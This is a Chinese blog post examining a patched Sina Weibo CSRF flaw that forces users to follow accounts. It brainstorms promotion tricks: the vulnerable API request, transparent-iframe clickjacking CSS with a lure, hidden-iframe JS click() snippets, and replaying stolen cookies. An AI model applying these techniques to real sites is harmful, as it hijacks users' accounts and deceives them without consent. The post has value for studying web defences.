新浪微博CSRF加关注漏洞的思考

微博经常会莫名其妙的添加一些推广账号。
恰好看到乌云人暴新浪的CSRF,遂加关注跟踪了一下。思考了一些推广的思路:

1、通过存在CSRF漏洞的接口

https://api.weibo.com/2/friendships/create.json(POST方式)
uid=[强行加关注的目标微博uid]&source=3818214747&_cache_time=0&method=post
目前该漏洞已被修补,会对origin字段进行限制

2、通过点击劫持


设置样式透明:
iframe{
margin:0px 0px 0px -70px;
-moz-opacity: 0.5;
opacity: 0.5;
filter: alpha(opacity=0.5);
}
在上一层加上钓鱼信息:
骗你的
参考:
http://it.ynnu.edu.cn/?p=2281
http://xianguo.com/book/chapter/458196

3、通过隐藏的frame,然后使用js代码操作

父窗口操作frame的内容时,如果跨域操作,则会被阻止。但是如果目标网站某个URL a存在某个小的xss或者csrf。则可以通过在父窗口中加入a和目标url等多个frame,使用a的漏洞来操作其他同域web页面上的元素,即通过iframe引用与其同域的页面frame中的元素、函数等,形成csrf。 chrome、IE均测试通过。
example:

<html>
<body>
<iframe id=”f2″ src=”target/f2.html”></iframe>
<iframe id=”f1″ src=”target/a.html”></iframe>
</body>
</html>

先加载被操作的页面f2,再加载漏洞页面a,通过a中的js 来操作 f2中的元素,实现csrf
parent.f2.xx.click();
or
parent.f2.document.getElementById(‘xx’).click();

4、其他思路:

获取sina.com cookie然后用服务端提交改变了origin的请求。

Leave a comment

Your email address will not be published. Required fields are marked *